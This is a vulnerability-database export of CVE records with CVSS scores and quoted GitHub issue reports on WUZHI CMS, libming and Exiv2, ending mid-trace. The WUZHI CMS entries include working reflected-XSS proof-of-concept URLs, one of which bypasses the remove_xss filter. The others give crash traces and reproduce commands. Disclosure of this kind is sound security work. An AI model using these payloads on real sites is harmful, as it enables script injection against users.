{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/57ccafea7263efec67c82b0503c72480" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/172" } ]

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https://github.com/wuzhicms/wuzhicms/issues/172

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the username parameter of /index.php?m=message&f=message&v=add Vulnerability file: `coreframe/app/message/message.php` ```PHP public function add() { $seo_title = '发私信'; $memberinfo = $this->memberinfo; if(isset($GLOBALS['submit'])) { ...... } else { $username = isset($GLOBALS['username']) ? remove_xss($GLOBALS['username']) : ''; //$result_tpl = $this->db->get_list('message_tpl', '', '*', 0, 100, 0, 'tplid DESC'); include T('message','add'); } } ``` `remove_xss` function can be bypassed via payload `"><details/open/ontoggle=alert(1)>` PoC: ``` http://example.com/index.php?m=message&f=message&v=add&username="><details/open/ontoggle=alert(1)> ``` Triggered when the user is logged in: ![image](https://user-images.githubusercontent.com/47595052/52767529-c6674e80-3065-11e9-9691-1db84247a291.png)

wuzhicms v4.1.0 message username reflected xss vulnerability

https://api.github.com/repos/wuzhicms/wuzhicms/issues/172/comments

0

2019-02-14T06:36:07Z

https://github.com/wuzhicms/wuzhicms/issues/172

410,150,234

172

CVE-2019-9110

2019-02-25T01:29:00.473

XSS exists in WUZHI CMS 4.1.0 via index.php?m=content&f=postinfo&v=listing&set_iframe=[XSS] to coreframe/app/content/postinfo.php.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/470708bd27ed115b29d0434255b9f7a0" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/170" } ]

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https://github.com/wuzhicms/wuzhicms/issues/170

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the set_iframe parameter of /index.php?m=content&f=postinfo&v=listing Vulnerability file: `coreframe/app/content/postinfo.php` ```PHP function __construct() { $this->member = load_class('member', 'member'); load_function('common', 'member'); $this->member_setting = get_cache('setting', 'member'); parent::__construct(); //判断当前是否验证了邮箱和手机 if(!$this->memberinfo['ischeck_email']) { MSG('请先验证您的邮箱!','?m=member&f=index&v=edit_email&set_iframe='.$GLOBALS['set_iframe'],3000); } if($this->member_setting['checkmobile'] && !$this->memberinfo['ischeck_mobile']) { MSG('您的手机还未验证！请先验证！','index.php?m=member&f=index&v=edit_mobile&set_iframe='.$GLOBALS['set_iframe'],3000); } } ``` PoC: ``` http://example.com/index.php?m=content&f=postinfo&v=listing&set_iframe='-alert(1)-' ``` Triggered when the user was logged in without verified email address: ![image](https://user-images.githubusercontent.com/47595052/52759851-61513000-3048-11e9-86a5-2a620d4b3a79.png)

wuzhicms v4.1.0 set_iframe reflected xss vulnerability

https://api.github.com/repos/wuzhicms/wuzhicms/issues/170/comments

0

2019-02-14T03:05:39Z

https://github.com/wuzhicms/wuzhicms/issues/170

410,104,254

170

CVE-2019-9113

2019-02-25T04:29:00.463

Ming (aka libming) 0.4.8 has a NULL pointer dereference in the function getString() in the decompile.c file in libutil.a.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/171" } ]

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https://github.com/libming/libming/issues/171

[ "Issue Tracking", "Exploit", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

A null pointer dereference was found in function getString() (decompile.c line 381) Details is as below: ``` ASAN:SIGSEGV ================================================================= ==30834==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000411266 bp 0x7ffd28773620 sp 0x7ffd28773580 T0) #0 0x411265 in getString /src/libming-afl/util/decompile.c:381 #1 0x412f8c in newVar_N /src/libming-afl/util/decompile.c:725 #2 0x41685e in decompileNEWOBJECT /src/libming-afl/util/decompile.c:1677 #3 0x41ed5a in decompileAction /src/libming-afl/util/decompile.c:3283 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f83c852182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/libming-afl/util/decompile.c:381 getString ==30834==ABORTING ``` poc file : https://github.com/JsHuang/libming-poc/blob/master/swftocxx/SIGSEGV_decompile_381 Reproduce it using: `./swftocxx SIGSEGV_decompile_381 ` credit: ADLab of Venustech

Null pointer dereference in getString (decompile.c 381)

https://api.github.com/repos/libming/libming/issues/171/comments

1

2019-01-02T06:33:17Z

2019-03-01T14:19:12Z

https://github.com/libming/libming/issues/171

395,159,602

171

CVE-2019-9114

2019-02-25T04:29:00.497

Ming (aka libming) 0.4.8 has an out of bounds write vulnerability in the function strcpyext() in the decompile.c file in libutil.a.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/170" } ]

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https://github.com/libming/libming/issues/170

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

An Out Of Bound Write bug was found in function strcpyext() in decompile.c . Details with asan output is as below: ``` ==30836==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000ee18 at pc 0x000000410767 bp 0x7fff7361f360 sp 0x7fff7361f350 WRITE of size 1 at 0x60300000ee18 thread T0 #0 0x410766 in strcpyext /src/libming-afl/util/decompile.c:259 #1 0x41164a in getName /src/libming-afl/util/decompile.c:418 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) 0x60300000ee18 is located 0 bytes to the right of 24-byte region [0x60300000ee00,0x60300000ee18) allocated by thread T0 here: #0 0x7f0d41dfd602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x41162f in getName /src/libming-afl/util/decompile.c:417 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libming-afl/util/decompile.c:259 strcpyext Shadow bytes around the buggy address: 0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c067fff9dc0: 00 00 00[fa]fa fa fd fd fd fd fa fa fd fd fd fa 0x0c067fff9dd0: fa fa 00 00 00 fa fa fa fd fd fd fa fa fa fd fd 0x0c067fff9de0: fd fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff9df0: 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd 0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==30836==ABORTING ``` poc file https://github.com/JsHuang/libming-poc/blob/master/swftocxx/oob_write_decompile_259 to reproduce it ,run swftocxx with oob_write_decompile_259 `./swftocxx oob_write_decompile_259 ` credit: ADLab of Venustech

Out Of Bound Write in function strcpyext()

https://api.github.com/repos/libming/libming/issues/170/comments

1

2019-01-02T06:25:41Z

2019-03-01T14:19:41Z

https://github.com/libming/libming/issues/170

395,158,669

170

CVE-2019-9143

2019-02-25T15:29:00.310

An issue was discovered in Exiv2 0.27. There is infinite recursion at Exiv2::Image::printTiffStructure in the file image.cpp. This can be triggered by a crafted file. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107161" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Exiv2/exiv2/issues/711" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/uncontrolled-recursion-loop-in-exiv2imageprinttiffstructure-exiv2-0-27/" } ]

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https://github.com/Exiv2/exiv2/issues/711

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Exiv2", "exiv2" ]

**Description** - During our research ,we Observed that an infinite uncontrolled recursion loop, at function Exiv2::Image::printTiffStructure at file image.cpp . It allows an attacker to cause Denial of Service or possibly have unspecified other impact. **Command** - `exiv2 -b -u -k -p R pr $POC` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/Exiv2/h1?raw=true) **Debug** - **GDB** - ``` 84 ../sysdeps/unix/syscall-template.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x49 $rbx : 0x4a $rcx : 0x00007ffff5c172c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001 $rdx : 0x4a $rsp : 0x00007fffffffd338 → 0x00007ffff5b98bff → <_IO_file_write+143> test rax, rax $rbp : 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" $rsi : 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" $rdi : 0x1 $rip : 0x00007ffff5c172c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001 $r8 : 0x00007ffff5ee6780 → 0x0000000100000001 → 0x0000000000000000 $r9 : 0x00007ffff7fd1780 → 0x00007ffff7fd1780 → [loop detected] $r10 : 0x733a706f2c333132 ("213,op:s"?) $r11 : 0x246 $r12 : 0x4a $r13 : 0x1 $r14 : 0x00007ffff5ee5620 → 0x00000000fbad2a84 → 0x0000000000000000 $r15 : 0x00007fffffffdb20 → 0x0000000041b58ab3 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd338│+0x0000: 0x00007ffff5b98bff → <_IO_file_write+143> test rax, rax ← $rsp 0x00007fffffffd340│+0x0008: 0x00007ffff5ee5620 → 0x00000000fbad2a84 → 0x0000000000000000 0x00007fffffffd348│+0x0010: 0x000000000000004a ("J"?) 0x00007fffffffd350│+0x0018: 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" 0x00007fffffffd358│+0x0020: 0x00007fffffffd530 → 0x0000000041b58ab3 0x00007fffffffd360│+0x0028: 0x00007fffffffd960 → 0x0000000041b58ab3 0x00007fffffffd368│+0x0030: 0x00007ffff5b9a409 → <_IO_do_write+121> mov r13, rax 0x00007fffffffd370│+0x0038: 0x00007fffffffdb20 → 0x0000000041b58ab3 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff5c172b2 <write+2> mov DWORD PTR [rbp*1+0x10750000], esp 0x7ffff5c172b9 <__write_nocancel+0> mov eax, 0x1 0x7ffff5c172be <__write_nocancel+5> syscall → 0x7ffff5c172c0 <__write_nocancel+7> cmp rax, 0xfffffffffffff001 0x7ffff5c172c6 <__write_nocancel+13> jae 0x7ffff5c172f9 <write+73> 0x7ffff5c172c8 <__write_nocancel+15> ret 0x7ffff5c172c9 <write+25> sub rsp, 0x8 0x7ffff5c172cd <write+29> call 0x7ffff5c350d0 <__libc_enable_asynccancel> 0x7ffff5c172d2 <write+34> mov QWORD PTR [rsp], rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "exiv2", stopped, reason: SIGINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff5c172c0 → __write_nocancel() [#1] 0x7ffff5b98bff → _IO_new_file_write(f=0x7ffff5ee5620 <_IO_2_1_stdout_>, data=0x619000001480, n=0x4a) [#2] 0x7ffff5b9a409 → new_do_write(to_do=0x4a, data=0x619000001480 "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+000213,op:splice,rep:64\n", '\276' <repeats 950 times>, fp=0x7ffff5ee5620 <_IO_2_1_stdout_>) [#3] 0x7ffff5b9a409 → _IO_new_do_write(fp=0x7ffff5ee5620 <_IO_2_1_stdout_>, data=0x619000001480 "STRUCTURE OF TIFF FILE (II): $POC\n", '\276' <repeats 950 times>, to_do=0x4a) [#4] 0x7ffff5b9a81b → _IO_new_file_overflow(f=0x7ffff5ee5620 <_IO_2_1_stdout_>, ch=0xa) [#5] 0x7ffff5b96533 → __GI__IO_putc(c=<optimized out>, fp=0x7ffff5ee5620 <_IO_2_1_stdout_>) [#6] 0x7ffff6214a4a → std::ostream::put(char)() [#7] 0x7ffff6214c3f → std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)() [#8] 0x7ffff673df1e → Exiv2::Image::printIFDStructure(this=0x61200000bec0, io=@0x60300000ecb0, out=@0x672ac0, option=Exiv2::kpsRecursive, start=0xff, bSwap=0x0, c=0x49, depth=0x0) [#9] 0x7ffff673fe2a → Exiv2::Image::printTiffStructure(this=0x61200000bec0, io=@0x60300000ecb0, out=@0x672ac0, option=Exiv2::kpsRecursive, depth=0xffffffff, offset=0x0) ```

uncontrolled recursion loop in Exiv2::Image::printTiffStructure()

https://api.github.com/repos/Exiv2/exiv2/issues/711/comments

2

2019-02-21T11:50:59Z

2019-02-28T16:31:44Z

https://github.com/Exiv2/exiv2/issues/711

412,886,432

711

CVE-2019-9144

2019-02-25T15:29:00.357

An issue was discovered in Exiv2 0.27. There is infinite recursion at BigTiffImage::printIFD in the file bigtiffimage.cpp. This can be triggered by a crafted file. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107161" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Exiv2/exiv2/issues/712" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/uncontrolled-recursion-loop-in-exiv2anonymous-namespacebigtiffimageprintifd-exiv2-0-27/" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:exiv2:exiv2:0.27:*:*:*:*:*:*:*", "matchCriteriaId": "B93112D5-5AD0-4F97-B3DC-DA4AF7D027B3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

https://github.com/Exiv2/exiv2/issues/712

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Exiv2", "exiv2" ]

**Description** - During our research ,we Observed that an infinite uncontrolled recursion loop, at function `Exiv2::(anonymous namespace)::BigTiffImage::printIFD( `) located in `bigtiffimage.cpp` . It allows an attacker to cause Denial of Service or possibly have unspecified other impact. **Command** - exiv2 -b -u -k -p R pr $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/Exiv2/h2?raw=true) **Debug** - **GDB** - ``` Program received signal SIGINT, Interrupt. 0x00007ffff62276a9 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_append(char const*, unsigned long) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000620001c10a74 → 0xbebebebebe002020 $rbx : 0x00007fffffccfd80 → 0x0000620001c10080 → 0x2020202020202020 (" "?) $rcx : 0x0 $rdx : 0x2 $rsp : 0x00007fffffccfa80 → 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 $rbp : 0x9f6 $rsi : 0x00007ffff69f2020 → 0x0000000000000000 $rdi : 0x0000620001c10080 → 0x2020202020202020 (" "?) $rip : 0x00007ffff62276a9 → <std::__cxx11::basic_string<char,+0> add rsp, 0x8 $r8 : 0x00007fffffccfd90 → 0x0000000000000f00 $r9 : 0x9f4 $r10 : 0x00007fffffccf1e0 → 0x00007ffff6f036b3 → <operator+0> mov r15, rax $r11 : 0x00007fffffccf1e0 → 0x00007ffff6f036b3 → <operator+0> mov r15, rax $r12 : 0x00000ffffff99f84 → 0x0000000000000000 $r13 : 0x00007fffffccfc20 → 0x0000000041b58ab3 $r14 : 0x00007ffff69600a0 → 0x006e776f6e6b6e75 ("unknown"?) $r15 : 0x00007fffffffdb20 → 0x0000000041b58ab3 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffccfa80│+0x0000: 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 ← $rsp 0x00007fffffccfa88│+0x0008: 0x00007fffffccfe80 → 0x00007ffff69600a0 → 0x006e776f6e6b6e75 ("unknown"?) 0x00007fffffccfa90│+0x0010: 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 0x00007fffffccfa98│+0x0018: 0x00007ffff681f34b → <Exiv2::Internal::indent[abi:cxx11](int)+86> jmp 0x7ffff681f326 <Exiv2::Internal::indent[abi:cxx11](int)+49> 0x00007fffffccfaa0│+0x0020: 0x00000825fff99f84 → 0x0000000000000000 0x00007fffffccfaa8│+0x0028: 0x00007fffffccfd80 → 0x0000620001c10080 → 0x2020202020202020 0x00007fffffccfab0│+0x0030: 0x00007ffff69600a0 → 0x006e776f6e6b6e75 ("unknown"?) 0x00007fffffccfab8│+0x0038: 0x7ebffb45ba0eea00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff622769e <std::__cxx11::basic_string<char,+0> mov rdi, QWORD PTR [rbx] 0x7ffff62276a1 <std::__cxx11::basic_string<char,+0> mov QWORD PTR [rbx+0x8], rbp 0x7ffff62276a5 <std::__cxx11::basic_string<char,+0> mov BYTE PTR [rdi+rbp*1], 0x0 → 0x7ffff62276a9 <std::__cxx11::basic_string<char,+0> add rsp, 0x8 0x7ffff62276ad <std::__cxx11::basic_string<char,+0> mov rax, rbx 0x7ffff62276b0 <std::__cxx11::basic_string<char,+0> pop rbx 0x7ffff62276b1 <std::__cxx11::basic_string<char,+0> pop rbp 0x7ffff62276b2 <std::__cxx11::basic_string<char,+0> ret 0x7ffff62276b3 <std::__cxx11::basic_string<char,+0> nop DWORD PTR [rax+rax*1+0x0] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "exiv2", stopped, reason: SIGINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff62276a9 → std::__cxx11::basic_string<char, std::char_traits<char>, 